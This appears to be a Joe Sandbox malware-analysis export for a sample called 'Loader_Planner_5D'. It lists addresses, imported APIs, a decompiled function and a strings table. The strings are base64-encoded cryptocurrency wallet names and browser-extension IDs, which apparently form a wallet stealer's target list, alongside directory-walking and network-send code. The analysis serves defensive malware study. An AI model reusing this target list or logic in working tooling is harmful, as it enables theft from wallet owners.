0x7ff71063fea5
0x7ff71063feac
0x7ff71063feaf
0x7ff71063feb7
0x7ff71063feb7
0x7ff71063fec9
0x7ff71063fecf
0x7ff71063fed2
0x7ff71063fed9
0x7ff71063fedc
0x7ff71063fee4
0x7ff71063fee4
0x7ff71063fef6
0x7ff71063fefc
0x7ff71063feff
0x7ff71063ff06
0x7ff71063ff09
0x7ff71063ff11
0x7ff71063ff11
0x7ff71063ff23
0x7ff71063ff29
0x7ff71063ff30
0x7ff71063ff3a
0x7ff71063ff42
0x7ff71063ff45
0x7ff71063ff49
0x7ff71063ff4d
0x7ff71063ff53
0x7ff71063ff5a
0x7ff71063ff84
0x7ff71063ff89
0x7ff71063ff8c
0x7ff71063ff91
0x7ff71063ff9a
0x7ff71063ffa7
0x7ff71063ffad
0x7ff71063ffb4
0x7ff71063ffbb
0x7ff71063ffbf
0x7ff71063ffc8
0x7ff71063ffcd
0x7ff71063ffd0
0x7ff71063ffd4
0x7ff71063ffd4
0x7ff71063ffd8
0x7ff71063ffe3
0x7ff71063ffe9
0x7ff71063fff1
0x7ff71063fff7
0x7ff71063fffa
0x7ff71063fffe
0x7ff710640002
0x7ff71064000a
0x7ff71064000e
0x7ff710640015
0x7ff710640020
0x7ff71064002f
0x7ff71064003d
0x7ff71064004f
0x7ff71064004f
0x7ff71064005a
0x7ff71064006b
0x7ff710640070
0x7ff710640073
0x7ff71064007a
0x7ff71064007d
0x7ff710640084
0x7ff710640096
0x7ff71064009b
0x7ff7106400a3
0x7ff7106400a6
0x7ff7106400c3
0x7ff7106400c9
0x7ff7106400cc
0x7ff7106400dd
0x7ff7106400df
0x7ff7106400ea
0x7ff7106400f1
0x7ff7106400fc
0x7ff7106400fe
0x7ff710640109
0x7ff71064010c
0x7ff71064011e
0x7ff710640123
0x7ff71064012b
0x7ff71064013a
0x7ff71064013f
0x7ff710640147
0x7ff710640153
0x7ff71064016a
0x7ff71064017b
0x7ff710640190
0x7ff710640198
0x7ff71064019f
0x7ff7106401a6
0x7ff7106401ae
0x7ff7106401b0
0x7ff7106401b7
0x7ff7106401bd
0x7ff7106401bf
0x7ff7106401c6
0x7ff7106401cb
0x7ff7106401d0
0x7ff7106401d4
0x7ff7106401dc
0x7ff7106401e2
0x7ff7106401ea
0x7ff7106401f2
0x7ff7106401f5
0x7ff7106401f9
0x7ff7106401fd
0x7ff71064020b
0x7ff710640210
0x7ff710640220
0x7ff710640225
0x7ff71064022d
0x7ff710640239
0x7ff71064023b
0x7ff71064024b
0x7ff71064024f
0x7ff710640254
0x7ff710640258
0x7ff71064025c
0x7ff710640263
0x7ff71064026c
0x7ff71064026f
0x7ff710640275
0x7ff710640283
0x7ff710640286
0x7ff71064028a
0x7ff71064029e
0x7ff7106402a4
0x7ff7106402aa
0x7ff7106402af
0x7ff7106402b7
0x7ff7106402b9
0x7ff7106402c2
0x7ff7106402cd
0x7ff7106402da
0x7ff7106402dd
0x7ff7106402e7
0x7ff7106402f3
0x7ff7106402f9
0x7ff7106402ff
0x7ff710640305
0x7ff710640313
0x7ff710640327
0x7ff71064033c
0x7ff710640345
0x7ff71064034b
0x7ff710640353
0x7ff71064036b
0x7ff710640380
0x7ff710640386
0x7ff71064038f
0x7ff710640395
0x7ff710640398
0x7ff7106403b5
0x7ff7106403bb
0x7ff7106403be
0x7ff7106403cf
0x7ff7106403d1
0x7ff7106403dc
0x7ff7106403e3
0x7ff7106403ee
0x7ff7106403f0
0x7ff7106403fb
0x7ff7106403fe
0x7ff710640405
0x7ff71064040c
0x7ff710640416
0x7ff71064041b
0x7ff710640423
0x7ff710640432
0x7ff710640437
0x7ff71064043f
0x7ff71064044e
0x7ff710640451
0x7ff710640462
0x7ff710640470
0x7ff710640474
0x7ff710640483
0x7ff710640490
0x7ff710640493
0x7ff71064049e
0x7ff7106404b4
0x7ff7106404c7
0x7ff7106404cf
0x7ff7106404d6
0x7ff7106404dd
0x7ff7106404e5
0x7ff7106404e7
0x7ff7106404ee
0x7ff7106404f4
0x7ff7106404f6
0x7ff7106404fd
0x7ff710640502
0x7ff710640510
0x7ff710640514
0x7ff71064051c
0x7ff710640522
0x7ff71064052a
0x7ff710640532
0x7ff710640535
0x7ff71064053a
0x7ff71064053d
0x7ff710640542
0x7ff710640552
0x7ff710640557
0x7ff71064055c
0x7ff71064055f
0x7ff710640564
0x7ff710640569
0x7ff710640572
0x7ff710640578
0x7ff71064057d
0x7ff710640585
0x7ff710640587
0x7ff71064058c
0x7ff710640592
0x7ff710640598
0x7ff71064059a
0x7ff7106405ab
0x7ff7106405ae
0x7ff7106405b4
0x7ff7106405b6
0x7ff7106405bf
0x7ff7106405c8
0x7ff7106405e0
0x7ff7106405f5
0x7ff7106405fa
0x7ff710640603
0x7ff71064060e
0x7ff710640615
0x7ff710640617
0x7ff71064061a
0x7ff710640627
0x7ff71064062d
0x7ff710640638
0x7ff710640648
0x7ff71064064d
0x7ff71064065b
0x7ff71064065d
0x7ff710640669
0x7ff71064066d
0x7ff710640671
0x7ff710640679
0x7ff71064067e
0x7ff710640680
0x7ff710640687
0x7ff71064068a
0x7ff710640694
0x7ff710640696
0x7ff710640699
0x7ff71064069b
0x7ff71064069e
0x7ff7106406a6
0x7ff7106406ba
0x7ff7106406cf
0x7ff7106406d8
0x7ff7106406dd
0x7ff7106406e9
0x7ff7106406ee
0x7ff7106406f7
0x7ff710640700
0x7ff710640714
0x7ff710640729
0x7ff710640732
0x7ff71064073a
0x7ff710640740
0x7ff710640743
0x7ff71064074b
0x7ff710640761
0x7ff710640767
0x7ff71064076a
0x7ff71064077b
0x7ff71064077d
0x7ff710640788
0x7ff71064078f
0x7ff71064079a
0x7ff71064079c
0x7ff7106407a7
0x7ff7106407aa
0x7ff7106407b5
0x7ff7106407ba
0x7ff7106407c2
0x7ff7106407d1
0x7ff7106407d6
0x7ff7106407de
0x7ff7106407ed
0x7ff7106407f0
0x7ff710640801
0x7ff71064081b
0x7ff710640828
0x7ff710640839
0x7ff71064084a
0x7ff710640850
0x7ff710640858
0x7ff710640870
0x7ff710640885
0x7ff71064088b
0x7ff710640890
0x7ff710640898
0x7ff7106408b0
0x7ff7106408c5
0x7ff7106408cb
0x7ff7106408d1
0x7ff7106408dc
0x7ff7106408f7
0x7ff71064090c
0x7ff710640912
0x7ff71064091e
0x7ff71064092d
0x7ff71064093d
0x7ff710640942
0x7ff71064094a
0x7ff710640959
0x7ff71064095e
0x7ff710640966
0x7ff710640972
0x7ff71064097f
0x7ff710640984
0x7ff71064098c
0x7ff71064099b
0x7ff7106409a0
0x7ff7106409a8
0x7ff7106409be
0x7ff7106409ce
0x7ff7106409d4
0x7ff7106409df
0x7ff7106409fa
0x7ff710640a0f
0x7ff710640a15
0x7ff710640a21
0x7ff710640a30
0x7ff710640a47
0x7ff710640a4c
0x7ff710640a54
0x7ff710640a63
0x7ff710640a68
0x7ff710640a70
0x7ff710640a7c
0x7ff710640a90
0x7ff710640a95
0x7ff710640a9d
0x7ff710640aac
0x7ff710640ab1
0x7ff710640ab9
0x7ff710640ac5
0x7ff710640ad2
0x7ff710640ad7
0x7ff710640adf
0x7ff710640aee
0x7ff710640af3
0x7ff710640afb
0x7ff710640b07
0x7ff710640b0b
0x7ff710640b16
0x7ff710640b31
0x7ff710640b46
0x7ff710640b4c
0x7ff710640b5f
0x7ff710640b65
0x7ff710640b69
0x7ff710640b6c
0x7ff710640b7b
0x7ff710640b80
0x7ff710640b88
0x7ff710640b97
0x7ff710640b9c
0x7ff710640ba4
0x7ff710640bb0
0x7ff710640bbe
0x7ff710640bc3
0x7ff710640bcb
0x7ff710640bda
0x7ff710640bdc
0x7ff710640be6
0x7ff710640bf2
0x7ff710640bf6
0x7ff710640c01
0x7ff710640c1c
0x7ff710640c31
0x7ff710640c37
0x7ff710640c3c
0x7ff710640c44
0x7ff710640c4c
0x7ff710640c5b
0x7ff710640c61
0x7ff710640c69
0x7ff710640c7e
0x7ff710640c93
0x7ff710640c9c
0x7ff710640ca1
0x7ff710640ca5
0x7ff710640cad
0x7ff710640cb2
0x7ff710640cb6
0x7ff710640cbe
0x7ff710640cd2
0x7ff710640ce7
0x7ff710640cec
0x7ff710640cf1
0x7ff710640cf5
0x7ff710640cfd
0x7ff710640d0e
0x7ff710640d1b
0x7ff710640d35

APIs

Part of subcall function 00007FF710634890: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063499B
Part of subcall function 00007FF710634890: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7106349A1

Part of subcall function 00007FF710641E18: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF710641E48
Part of subcall function 00007FF710641E18: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF710641E4E

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640D36
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640D3C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640D5E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640D64
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640D6A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640D70
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640D76
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640D7C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640D94
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640D9A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710640DC5

Strings

TWFpYXJEZUZpV2FsbGV0, xrefs: 00007FF71063FDEC
QXVybw==, xrefs: 00007FF71063FC3C, 00007FF71063FD2F
SGlyb1dhbGxldA==, xrefs: 00007FF71063F6A4
cjmkndjhnagcfbpiemnkdpomccnjblmj, xrefs: 00007FF71063F7DF
WGluUGF5, xrefs: 00007FF71063F4E2
U29sbGV0, xrefs: 00007FF71063F596
cmndjbecilbocjfkibfbifhngkdmjgog, xrefs: 00007FF71063F785
nknhiehlklippafakaeklbeglecifhad, xrefs: 00007FF71063FCBC
TmFib3g=, xrefs: 00007FF71063FCC3
T2FzaXM=, xrefs: 00007FF71063FA28
hmeobnfnfcmdkdcmlblgagmfpfboieaf, xrefs: 00007FF71063FCD7
fihkakfobkmkjojpchpfgcmhfjnmnfpi, xrefs: 00007FF71063F18B
QnlvbmU=, xrefs: 00007FF71063FD9B
UG9udGVt, xrefs: 00007FF71063FA72
Q0xX, xrefs: 00007FF71063FD4A
amkmjjmmflddogmhpjloimipbofnfjih, xrefs: 00007FF71063FAD7
pdadjkfkgcafgbceimcpbkalnfnepbnk, xrefs: 00007FF71063FC6B
TmVvTGluZQ==, xrefs: 00007FF71063FCA8
ibnejdfjmmkpcnlpebklmnkoeoihofec, xrefs: 00007FF71063F4B5
TGVhZldhbGxldA==, xrefs: 00007FF71063FE07
recursive_directory_iterator::operator++, xrefs: 00007FF710640DA2
recursive_directory_iterator::recursive_directory_iterator, xrefs: 00007FF710640D4B
aholpfdialjgjfhomihkjbmgjidlcdno, xrefs: 00007FF71063FEBB
Qml0YXBw, xrefs: 00007FF71063F15E
jnkelfanjkeadonecabehalmbgpfodjm, xrefs: 00007FF71063FB78
TmFtaQ==, xrefs: 00007FF71063FDD1
nanjmdknhkinifnkgdcggcfnhdaammmj, xrefs: 00007FF71063F2F3
Q29pbjk4, xrefs: 00007FF71063F1B8
QnJhdmVXYWxsZXQ=, xrefs: 00007FF71063FEE8
lodccjjbdhfakaekdiahmedfbieldgik, xrefs: 00007FF71063F23F
S2FyZGlhQ2hhaW4=, xrefs: 00007FF71063FC72
jnmbobjmhlngoefaiojfljckilhhlhcj, xrefs: 00007FF71063FB35, 00007FF71063FD0D
blnieiiffboillknjnepogjhkgnoapac, xrefs: 00007FF71063F299
U2VuZGVyV2FsbGV0, xrefs: 00007FF71063FC06
pnlfjmlcjdjgkddecgincndfgegkecke, xrefs: 00007FF71063F893
VGV6Qm94, xrefs: 00007FF71063FB9A
RXhvZHVzKHdlYik=, xrefs: 00007FF71063FE8E
bcopgchhojmggmffilplmbdicgaihlkp, xrefs: 00007FF71063FB50
flpiciilemghbmfalicajoolhkkenfel, xrefs: 00007FF71063F34D
pocmplpaccanhmnllbbkpgfliimjljgo, xrefs: 00007FF71063F61D
TGlxdWFsaXR5, xrefs: 00007FF71063F974
U3dhc2g=, xrefs: 00007FF71063F758
lpfcbjknijpeeillifnkikgncikgfhdo, xrefs: 00007FF71063FDCA
WW9yb2k=, xrefs: 00007FF71063FAA8
bkklifkecemccedpkhcebagjpehhabfb, xrefs: 00007FF71063F72B
TWV3Q3g=, xrefs: 00007FF71063FB14
jojhfeoedkpkglbfimdfabpdfjaoolaf, xrefs: 00007FF71063FD5E
VG9u, xrefs: 00007FF71063F53C
Q29pbmJhc2U=, xrefs: 00007FF71063FAF9
gjagmgiddbbciopjhllkdnddhcglnemk, xrefs: 00007FF71063FBC9
mnfifefkajgofkcjkemidiaecocnkjeh, xrefs: 00007FF71063FB93
UG9seW1lc2g=, xrefs: 00007FF71063FD65
afbcbjpbpfadlkmhmclhkeeodmamcflc, xrefs: 00007FF71063F3A7
TWV0YVdhbGxldA==, xrefs: 00007FF71063F6FE
S0hD, xrefs: 00007FF71063FCF9
fhbohimaelbohpjbbldcngcnapndodjp, xrefs: 00007FF71063F131
egjidjbpglichdcondbcbdnbeeppgdph, xrefs: 00007FF71063FE61
UGhhbnRvbQ==, xrefs: 00007FF71063F42E
dngmlblcodfobpdpecaadgfbcggfjfnm, xrefs: 00007FF71063FDE5
U29sZmxhcmU=, xrefs: 00007FF71063FA8D
kmhcihpebfmpgmihbkipmjlmmioameka, xrefs: 00007FF71063FDAF
VGVtcGxl, xrefs: 00007FF71063FA57
cnmamaachppnkjgnildpdmkaakejnhae, xrefs: 00007FF71063FC35, 00007FF71063FD28
TmlmdHk=, xrefs: 00007FF71063F91A
ookjlbkiijinhpmnjffcofjonbfbgaoc, xrefs: 00007FF71063FA50
WmlsUGF5, xrefs: 00007FF71063FD80
dkdedlpgdmmkkfjabffeganieamfklkm, xrefs: 00007FF71063FBE4
epapihdplajcdnnkdeiahlgigofloibg, xrefs: 00007FF71063FBFF
R3VpbGQ=, xrefs: 00007FF71063F2C6
kpfopkelmapcoipemfendmdcghnegimn, xrefs: 00007FF71063F9A1
WERlRmk=, xrefs: 00007FF71063FCDE
jbdaocneiiinmjbjlgalhcelgbejmnid, xrefs: 00007FF71063F947
SHljb25MaXRlQ2xpZW50, xrefs: 00007FF71063FB57
mfhbebgoclkghebffdldpobeajmbecfk, xrefs: 00007FF71063F677
kncchdigobghenbbaddojjnnaogfppfj, xrefs: 00007FF71063FABC
bhhhlbepdkbapadjdnnojkbgioiodbic, xrefs: 00007FF71063FA86
Rmlubmll, xrefs: 00007FF71063F7B2
SGFzaHBhY2s=, xrefs: 00007FF71063FBD0
TWF0aA==, xrefs: 00007FF71063F37A
fnjhmkhhmkbjkkabndcnnogagogbneec, xrefs: 00007FF71063F9FB
WmVjcmV5, xrefs: 00007FF71063FC21
Q3JvY29iaXQ=, xrefs: 00007FF71063F866
odbfpeeihdkbihmopkbjmoonfanlbfcl, xrefs: 00007FF71063FF15
TW9ib3g=, xrefs: 00007FF71063F3D4
bocpokimicclpaiekenaeelehdjllofo, xrefs: 00007FF71063F50F
ojbpcbinjmochkhelkflddfnmcceomdi, xrefs: 00007FF71063FC1A
nlbmnnijcnlegkjjpcfjclmcfggfefdm, xrefs: 00007FF71063FB0D
RXRlcm5s, xrefs: 00007FF71063FDB6
fhilaheimglignddkjgofkcbgekhenbh, xrefs: 00007FF71063F8ED
VHJ1c3RXYWxsZXQ=, xrefs: 00007FF71063FE34
S2VwbHI=, xrefs: 00007FF71063F80C
U2xvcGU=, xrefs: 00007FF71063F5F0
T25lS2V5, xrefs: 00007FF71063FB3C, 00007FF71063FD14
nhnkbkgjikgcigadomkphalanndcapjk, xrefs: 00007FF71063FD43
RXF1YWw=, xrefs: 00007FF71063F26C
ifckdpamphokdglkkdomedpdegcjhjdp, xrefs: 00007FF71063FBAE
Um9uaW4=, xrefs: 00007FF71063F9CE
R29ieQ==, xrefs: 00007FF71063FB7F
Q3lhbm8=, xrefs: 00007FF71063FBEB
V29tYmF0, xrefs: 00007FF71063FADE
ppdadbejkmjnefldpcdjhnkpbjkikoip, xrefs: 00007FF71063FA3C
aVdhbGxldA==, xrefs: 00007FF71063FAC3
hcflpincpppdclinealmandijcmnkbgn, xrefs: 00007FF71063FCF2
cphhlgmgameodnhkjdmkpanlelnlohao, xrefs: 00007FF71063FCA1
UmFiYnk=, xrefs: 00007FF71063FC8D
klnaejjgbibmhlephnhpmaofohgkpgkd, xrefs: 00007FF71063FD79
TWV0YW1hc2s=, xrefs: 00007FF71063F0AA
phkbamefinggmakgklpkljjmgibohnba, xrefs: 00007FF71063FA6B
SUNPTmV4, xrefs: 00007FF71063F320
bfnaelmomeimhlpmgjnjophhpkkoljpa, xrefs: 00007FF71063F45B
nkbihfbeogaeaoehlefnkodbefgpgknn, xrefs: 00007FF71063F0D7
VHJvbkxpbms=, xrefs: 00007FF71063F488
fhmfendgdocmcbmfikdcogofphimnkno, xrefs: 00007FF71063F5C3
T05UT1dhbGxldA==, xrefs: 00007FF71063FBB5
aiifbnbfobpmeekipheeijimdpnlpgpp, xrefs: 00007FF71063FC50
REFwcFBsYXk=, xrefs: 00007FF71063F212
ldinpeekobnhjjdofggfgjlcehhmanlj, xrefs: 00007FF71063F6D1
directory_iterator::directory_iterator, xrefs: 00007FF710640D87, 00007FF710640DB8
QmluYW5jZUNoYWlu, xrefs: 00007FF71063F104
acmacodkjbdgmoleebolmdjonilkdbch, xrefs: 00007FF71063FC86
nphplpgoakhhjchkkhmiggakijnkhfnd, xrefs: 00007FF71063F569
dmkamcknogkgcdfhhbddcghachkejeap, xrefs: 00007FF71063F839
hnfanknocfeofbddgcijnmhnfnkdnaad, xrefs: 00007FF71063FAF2
fcckkdbjnoikooededlapcalpionmalo, xrefs: 00007FF71063F401
cihmoadaighcejopammfbmddcmdekcje, xrefs: 00007FF71063FE00
/, xrefs: 00007FF71064061A
T3h5Z2Vu, xrefs: 00007FF71063F8C0
U3RhcmNvaW4=, xrefs: 00007FF71063F64A
aeachknmefphepccionboohckonoeemg, xrefs: 00007FF71063F1E5
ffnbelfdoeiohenkjibnmadjiehjhajb, xrefs: 00007FF71063FAA1
VGVycmFTdGF0aW9u, xrefs: 00007FF71063FC57
nlgbhdfgdhgbiamfdfmbikcdghidoadd, xrefs: 00007FF71063FD94

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID: /$Q0xX$Q29pbjk4$Q29pbmJhc2U=$Q3JvY29iaXQ=$Q3lhbm8=$QXVybw==$Qml0YXBw$QmluYW5jZUNoYWlu$QnJhdmVXYWxsZXQ=$QnlvbmU=$R29ieQ==$R3VpbGQ=$REFwcFBsYXk=$RXF1YWw=$RXRlcm5s$RXhvZHVzKHdlYik=$Rmlubmll$S0hD$S2FyZGlhQ2hhaW4=$S2VwbHI=$SGFzaHBhY2s=$SGlyb1dhbGxldA==$SHljb25MaXRlQ2xpZW50$SUNPTmV4$T05UT1dhbGxldA==$T25lS2V5$T2FzaXM=$T3h5Z2Vu$TGVhZldhbGxldA==$TGlxdWFsaXR5$TW9ib3g=$TWF0aA==$TWFpYXJEZUZpV2FsbGV0$TWV0YVdhbGxldA==$TWV0YW1hc2s=$TWV3Q3g=$TmFib3g=$TmFtaQ==$TmVvTGluZQ==$TmlmdHk=$U29sZmxhcmU=$U29sbGV0$U2VuZGVyV2FsbGV0$U2xvcGU=$U3RhcmNvaW4=$U3dhc2g=$UG9seW1lc2g=$UG9udGVt$UGhhbnRvbQ==$Um9uaW4=$UmFiYnk=$V29tYmF0$VG9u$VGV6Qm94$VGVtcGxl$VGVycmFTdGF0aW9u$VHJ1c3RXYWxsZXQ=$VHJvbkxpbms=$WERlRmk=$WGluUGF5$WW9yb2k=$WmVjcmV5$WmlsUGF5$aVdhbGxldA==$acmacodkjbdgmoleebolmdjonilkdbch$aeachknmefphepccionboohckonoeemg$afbcbjpbpfadlkmhmclhkeeodmamcflc$aholpfdialjgjfhomihkjbmgjidlcdno$aiifbnbfobpmeekipheeijimdpnlpgpp$amkmjjmmflddogmhpjloimipbofnfjih$bcopgchhojmggmffilplmbdicgaihlkp$bfnaelmomeimhlpmgjnjophhpkkoljpa$bhhhlbepdkbapadjdnnojkbgioiodbic$bkklifkecemccedpkhcebagjpehhabfb$blnieiiffboillknjnepogjhkgnoapac$bocpokimicclpaiekenaeelehdjllofo$cihmoadaighcejopammfbmddcmdekcje$cjmkndjhnagcfbpiemnkdpomccnjblmj$cmndjbecilbocjfkibfbifhngkdmjgog$cnmamaachppnkjgnildpdmkaakejnhae$cphhlgmgameodnhkjdmkpanlelnlohao$directory_iterator::directory_iterator$dkdedlpgdmmkkfjabffeganieamfklkm$dmkamcknogkgcdfhhbddcghachkejeap$dngmlblcodfobpdpecaadgfbcggfjfnm$egjidjbpglichdcondbcbdnbeeppgdph$epapihdplajcdnnkdeiahlgigofloibg$fcckkdbjnoikooededlapcalpionmalo$ffnbelfdoeiohenkjibnmadjiehjhajb$fhbohimaelbohpjbbldcngcnapndodjp$fhilaheimglignddkjgofkcbgekhenbh$fhmfendgdocmcbmfikdcogofphimnkno$fihkakfobkmkjojpchpfgcmhfjnmnfpi$flpiciilemghbmfalicajoolhkkenfel$fnjhmkhhmkbjkkabndcnnogagogbneec$gjagmgiddbbciopjhllkdnddhcglnemk$hcflpincpppdclinealmandijcmnkbgn$hmeobnfnfcmdkdcmlblgagmfpfboieaf$hnfanknocfeofbddgcijnmhnfnkdnaad$ibnejdfjmmkpcnlpebklmnkoeoihofec$ifckdpamphokdglkkdomedpdegcjhjdp$jbdaocneiiinmjbjlgalhcelgbejmnid$jnkelfanjkeadonecabehalmbgpfodjm$jnmbobjmhlngoefaiojfljckilhhlhcj$jojhfeoedkpkglbfimdfabpdfjaoolaf$klnaejjgbibmhlephnhpmaofohgkpgkd$kmhcihpebfmpgmihbkipmjlmmioameka$kncchdigobghenbbaddojjnnaogfppfj$kpfopkelmapcoipemfendmdcghnegimn$ldinpeekobnhjjdofggfgjlcehhmanlj$lodccjjbdhfakaekdiahmedfbieldgik$lpfcbjknijpeeillifnkikgncikgfhdo$mfhbebgoclkghebffdldpobeajmbecfk$mnfifefkajgofkcjkemidiaecocnkjeh$nanjmdknhkinifnkgdcggcfnhdaammmj$nhnkbkgjikgcigadomkphalanndcapjk$nkbihfbeogaeaoehlefnkodbefgpgknn$nknhiehlklippafakaeklbeglecifhad$nlbmnnijcnlegkjjpcfjclmcfggfefdm$nlgbhdfgdhgbiamfdfmbikcdghidoadd$nphplpgoakhhjchkkhmiggakijnkhfnd$odbfpeeihdkbihmopkbjmoonfanlbfcl$ojbpcbinjmochkhelkflddfnmcceomdi$ookjlbkiijinhpmnjffcofjonbfbgaoc$pdadjkfkgcafgbceimcpbkalnfnepbnk$phkbamefinggmakgklpkljjmgibohnba$pnlfjmlcjdjgkddecgincndfgegkecke$pocmplpaccanhmnllbbkpgfliimjljgo$ppdadbejkmjnefldpcdjhnkpbjkikoip$recursive_directory_iterator::operator++$recursive_directory_iterator::recursive_directory_iterator
API String ID: 3936042273-4010228623
Opcode ID: 5108364a6b65e28d5d0fe447f1a5c2735875305cfd67ec802e4c2bb14a847dfd
Instruction ID: be04e0b37039fab5798d6e6e071e60b02aea90abfb405db3578b4ba940a6185f
Opcode Fuzzy Hash: 5108364a6b65e28d5d0fe447f1a5c2735875305cfd67ec802e4c2bb14a847dfd
Instruction Fuzzy Hash: E2038472A14EC695EB20EF34C8411F9A322FB953A8F905331E64C9BA55DF78F698C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106390C0 Relevance: 56.7, APIs: 27, Strings: 5, Instructions: 694
networkCOMMONCrypto

Download Yara Rule

C-Code - Quality: 42%

			E00007FF77FF7106390C0(void* __ecx, void* __edx, void* __eflags, void* __rax, void* __rbx, void* __rcx, long long __r8, signed int _a3936, void* _a4008) {
				char _v152;
				char _v160;
				long long _v168;
				long long _v176;
				char _v184;
				char _v200;
				char _v208;
				long long _v216;
				char _v240;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t37;
				void* _t48;
				void* _t49;
				void* _t54;
				void* _t58;
				void* _t76;
				signed long long _t77;
				long long _t88;
				intOrPtr _t120;
				intOrPtr _t123;
				intOrPtr _t129;
				intOrPtr _t132;
				void* _t135;
				char* _t136;
				void* _t138;
				void* _t141;
				void* _t143;
				void* _t144;
				long long _t148;
				void* _t154;
				void* _t155;

				_t76 = __rax;
				_t58 = __eflags;
				_t54 = __ecx;
				_t144 = _t143 - 0xf0;
				_t88 = __r8;
				E00007FF77FF7106225C0(_t37, __edx,  &_v200);
				asm("movups xmm0, [eax]");
				asm("movups [esp+0x20], xmm0");
				E00007FF77FF710628890(_t76,  &_v184, __rcx);
				asm("movups xmm0, [esp+0x20]");
				asm("movaps [esp+0x20], xmm0");
				_t148 = _t88;
				E00007FF77FF710622AD0(_t58, _t76,  &_v152,  &_v184, _t148);
				E00007FF77FF7106440D0(_t88,  &_v152, 0x10687548, _t138, __rbx);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_v216 = _t88;
				E00007FF77FF710663340(0x1080, _t76, _t154, _t155);
				_t77 =  *0x10689010; // 0xafe3859a1ce3
				_a3936 = _t77 ^ _t144 - _t76;
				_t136 = _t148;
				_v176 = 0x10687548;
				_v168 = _t148;
				if ( *((intOrPtr*)(0x7ff710687558)) == _t141) goto 0x10639274;
				E00007FF77FF71063CD80(0x10687548,  &_v208, _t136, _t136, _t141, 0x10687548);
				E00007FF77FF710633540(_t54, 0x10687548,  &_v240, _t77 ^ _t144 - _t76, 0x10687548);
				E00007FF77FF71062F0C0(0x10687548, 0x10687548, _t77 ^ _t144 - _t76);
				_t120 = _v216;
				if (_t120 - 0x10 < 0) goto 0x106391dc;
				if (_t120 + 1 - 0x1000 < 0) goto 0x106391d7;
				if (_v240 -  *((intOrPtr*)(_v240 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x1063933b;
				E00007FF77FF710641E10(_v240 -  *((intOrPtr*)(_v240 - 8)) + 0xfffffff8,  *((intOrPtr*)(_v240 - 8)));
				asm("movdqa xmm0, [0x455ac]");
				asm("movdqu [esp+0x30], xmm0");
				_v240 = 0;
				_t123 = _v184;
				if (_t123 - 0x10 < 0) goto 0x1063922c;
				if (_t123 + 1 - 0x1000 < 0) goto 0x10639227;
				if (_v208 -  *((intOrPtr*)(_v208 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10639341;
				_t48 = E00007FF77FF710641E10(_v208 -  *((intOrPtr*)(_v208 - 8)) + 0xfffffff8,  *((intOrPtr*)(_v208 - 8)));
				if ( *0x7FF710687560 - 0x10 < 0) goto 0x10639239;
				r9d = 0;
				r8d =  *((intOrPtr*)(0x7ff710687558));
				__imp__#19(_t141);
				if (_t48 <= 0) goto 0x10639274;
				r9d = 0;
				r8d = 0x1000;
				__imp__#16();
				if (_t48 <= 0) goto 0x10639274;
				_t49 = E00007FF77FF71064D640(_v208 -  *((intOrPtr*)(_v208 - 8)) + 0xfffffff8, 0x10687548,  &_v160, _t136,  &_v152, 0x10687548, _t154, _t135, _t138);
				_t129 =  *((intOrPtr*)(0x7ff710687560));
				if (_t129 - 0x10 < 0) goto 0x106392ae;
				if (_t129 + 1 - 0x1000 < 0) goto 0x106392a9;
				if ( *0x10687548 -  *((intOrPtr*)( *0x10687548 - 8)) - 8 - 0x1f > 0) goto 0x1063932f;
				E00007FF77FF710641E10( *0x10687548 -  *((intOrPtr*)( *0x10687548 - 8)) - 8,  *((intOrPtr*)( *0x10687548 - 8)));
				 *((long long*)(0x7ff710687558)) = 0;
				 *((long long*)(0x7ff710687560)) = 0xf;
				 *0x10687548 = 0;
				_t132 =  *((intOrPtr*)(_t136 + 0x18));
				if (_t132 - 0x10 < 0) goto 0x106392f7;
				if (_t132 + 1 - 0x1000 < 0) goto 0x106392f2;
				if ( *_t136 -  *((intOrPtr*)( *_t136 - 8)) - 8 - 0x1f > 0) goto 0x10639335;
				E00007FF77FF710641E10( *_t136 -  *((intOrPtr*)( *_t136 - 8)) - 8,  *((intOrPtr*)( *_t136 - 8)));
				 *((long long*)(_t136 + 0x10)) = 0;
				 *((long long*)(_t136 + 0x18)) = 0xf;
				 *_t136 = 0;
				return E00007FF77FF710641DF0(_t49, _t54, _a3936 ^ _t144 - _t76);
			}

0x7ff7106390c0
0x7ff7106390c0
0x7ff7106390c0
0x7ff7106390c2
0x7ff7106390c9
0x7ff7106390d4
0x7ff7106390d9
0x7ff7106390dc
0x7ff7106390e9
0x7ff7106390ef
0x7ff7106390f4
